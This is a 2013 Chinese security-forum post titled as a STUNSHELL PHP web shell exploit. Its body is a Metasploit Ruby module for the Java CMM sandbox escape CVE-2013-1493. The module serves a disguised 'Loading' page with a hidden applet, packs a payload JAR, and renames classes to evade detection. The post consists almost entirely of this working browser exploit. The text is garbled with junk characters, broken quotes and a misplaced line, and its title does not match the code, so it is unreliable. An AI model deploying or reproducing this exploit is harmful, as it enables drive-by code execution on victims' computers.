找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2120|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
1 i7 W( ]3 j. m. ?. d5 ^2 \7 M' e# d. q1 W  i" j5 Q- K5 T
# This file is part of the Metasploit Framework and may be subject to% Q4 f' J5 I3 }0 N+ G0 q5 _
# redistribution and commercial restrictions. Please see the Metasploit
: }# n% N, j: T9 g* {0 ~# web site for more information on licensing and terms of use.$ {) R* j6 m( H
# http://metasploit.com/
) A0 d+ s3 \6 X: P##
( F: t; Q, Z  U- ^/ _" Jrequire ‘msf/core’
4 [4 y# M( w- Z! d! G4 zrequire ‘rex’6 ~# I6 C# N) R5 h
class Metasploit3 < Msf::Exploit::Remote' l0 R% M* w1 e
Rank = NormalRanking2 S$ F( ?. ?9 P; x2 e6 w8 B0 k$ f
include Msf::Exploit::Remote::HttpServer::HTML
' q0 r$ G  ^( Q# x: G  B, Sinclude Msf::Exploit::EXE6 m: Z7 j! H7 a8 v- k/ G6 J
include Msf::Exploit::Remote::BrowserAutopwn
* z1 Y- O% q& Q0 L" O) wautopwn_info({ :javascript => false })) {1 j/ C2 m- [* [
def initialize( info = {} )* v& g+ k8 Z0 z  O9 |0 z0 e
super( update_info( info,
; G: E  u; T8 j‘Name’ => ‘Java CMM Remote Code Execution’,: z( c) T& F* `
‘Description’ => %q{
! H; M$ F' A# m8 L( l0 t1 m3 s/ QThis module abuses the Color Management classes from a Java Applet to run
9 I! o! Q3 G& A# S# c/ earbitrary Java code outside of the sandbox as exploited in the wild in February
* e/ T5 Y# {7 l6 d1 Hand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41) ^# @( P4 w5 Z" E2 u  s
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
; h: ?; l  |3 j( v8 i5 J/ jsystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
, S% }) K, q1 j3 ]6 swarning in order to run the malicious applet.
5 q4 l* `& L' v  l& X3 t},
' @, U, ?) ~9 i$ e$ a4 @0 P4 L‘License’ => MSF_LICENSE,
0 A6 L2 B/ D) v  @‘Author’ =>
7 P* H' J1 A' X'Unknown', # Vulnerability discovery and Exploit
' s) v) F' {* K5 {'juan vazquez' # Metasploit module (just ported the published exploit)
; `! ~$ m4 u8 v2 f+ y4 x" `],
& ]9 q/ U+ M: F‘References’ =>+ C# c/ l  q" B
[
, }/ |$ X$ E- G$ ~* B6 ][ 'CVE', '2013-1493' ],
( t4 A2 i. j* t) g3 c8 b4 N; u[ 'OSVDB', '90737' ],
# Y) E1 L; L4 q$ o8 F; o[ 'BID', '58238' ],
1 A  d$ }1 J6 b% q$ M) ^2 q4 l; Q[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],: h5 C: x1 t! X* m% S4 A, S) p) [
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],7 M: L$ R7 W8 C' u! k
[ 'URL', 'http://pastie.org/pastes/6581034' ]
+ l( K  ^; I$ I0 @1 [],
5 O9 r: Q( e+ g; Q‘Platform’ => [ 'win', 'java' ],1 ^4 u) A8 u3 r( y% P7 K7 C. b
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
& P3 z# l  a8 ?/ t) S‘Targets’ =>
9 `  Q& N( A$ p  {0 I6 ?[% @6 W/ a( J0 ~1 t  J* n
[ 'Generic (Java Payload)',7 ?( Q7 q( c5 `, J
{# v& _" ?- E5 r, _
'Platform' => 'java',4 m; h) f; Y6 Z! e
'Arch' => ARCH_JAVA
# c* G7 p! n& K2 h3 F; I; P1 l) W: M}
! a' C6 c! b" x# n4 D6 [],
  l: ]' G$ b! Z# R1 n- n  g& N[ 'Windows x86 (Native Payload)',
5 C. o6 i, q" C, N{5 k' {# P# l$ T7 g
'Platform' => 'win',
$ ?" t. [+ T& Z* }* ~0 b'Arch' => ARCH_X86
. d, A! C' d% P" P5 f* Y}' c% P. O  R1 E; h: Q
]
2 Y  z& o0 v0 l* T],
- z% I% m0 q- p/ e# ^1 x) Y# z‘‘DisclosureDate’ => ‘Mar 01 2013′
2 |, f3 G, I# T; Y) t))
: _2 U/ A: ^& `1 send
  @( k2 ?- j# E* Odef setup
% M/ U6 {! B9 ]8 s- ^+ Upath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)5 e  [) i2 s9 `; I" o3 n  z
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }6 c# ?0 y( p" c7 X! C3 A- }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)3 D" X+ h; Y. R1 j# S6 D
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
" y( `( f; V5 w: b! fpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
3 O5 U: _8 G# Q. \2 z; @@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
  F. a, ]" c0 E/ U2 m, ]; @path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
: R: P% ]- {" J@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }2 ?0 ^4 h( p" r/ c. B5 Y0 J
@init_class_name = rand_text_alpha(“Init”.length)1 Z6 N* e& W" G) X! h( Y3 D
@init_class.gsub!(“Init”, @init_class_name)) x2 T6 I( k+ Z7 v8 p
super+ p3 d/ F& u$ W5 ]$ V6 N) T
end
0 E4 c. K0 G  m5 |+ Y1 l3 Ydef on_request_uri(cli, request)
2 `& E+ ?& ~  v1 Bprint_status(“handling request for #{request.uri}”)$ u1 ~4 z+ D6 }# Q* ~& S. q  s
case request.uri' [9 G0 S. a: q$ _
when /\.jar$/i
% n8 m" N; O, B+ E0 a0 Rjar = payload.encoded_jar* {' a. @" ]! z, W5 P* l& J
jar.add_file(“#{@init_class_name}.class”, @init_class)
8 t5 c6 x# G9 M1 hjar.add_file(“Leak.class”, @leak_class)
! T; z% \7 R) l* X# L5 gjar.add_file(“MyBufferedImage.class”, @buffered_image_class)4 O2 x8 b5 S5 \: _
jar.add_file(“MyColorSpace.class”, @color_space_class)/ I! a: ~2 t# U
DefaultTarget’ => 1,
* C1 _* w' Z6 ~, R' P; A* Cmetasploit_str = rand_text_alpha(“metasploit”.length)+ w- _* r) g: h+ ?) N2 N! c
payload_str = rand_text_alpha(“payload”.length)
; F2 h: R+ }1 Zjar.entries.each { |entry|1 O6 [% B7 K) A3 r  f3 P
entry.name.gsub!(“metasploit”, metasploit_str)
/ S2 n/ S" [3 A2 sentry.name.gsub!(“Payload”, payload_str)
" l) x8 i/ J8 Centry.data = entry.data.gsub(“metasploit”, metasploit_str)
' [* v5 {  M) l( Wentry.data = entry.data.gsub(“Payload”, payload_str); }# a1 g# V* n4 u
}5 m+ W( o7 k1 ^0 q. s1 |" {
jar.build_manifest
- ^( f( d6 W/ z* Qsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })  X. a& ]# _9 p8 J/ W( N; W
when /\/$/
9 X9 `' r! k. M+ i$ T) x4 Jpayload = regenerate_payload(cli): A) \+ a* w: V1 b2 z
if not payload& ?# A; J- q# e7 _# o
print_error(“Failed to generate the payload.”)
* m9 U3 q3 Z  A5 Esend_not_found(cli)2 o1 T4 n. X9 A' o2 l$ l/ F/ S1 G0 _
return
# w- q( r- m- N, O+ d! k2 fend
+ H+ ^. R4 E  fsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })' n. Y7 Y5 }" R4 ^/ h
else
1 n# c, X/ f8 v& rsend_redirect(cli, get_resource() + ‘/’, ”)2 h) U( j- f: R
end
' w+ B4 j8 H, I0 h5 @end
( I$ Y6 i3 |6 [' x& cdef generate_html. N3 Q$ m, p" ?. R$ S
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|2 b9 f3 U. W$ b/ f
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
) m$ a; w5 |" F' d8 zhtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
8 B# L) {3 F- ahtml += %Q|</applet></body></html>|
) S) i0 R# W0 R+ J  Yreturn html
4 h. F, g) k0 E8 U/ v) J  d, S+ Xend* Q7 o( V& C0 t. y
end1 Q) h- f2 Q# z6 a
end
, C8 A" _9 D% g/ y( J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表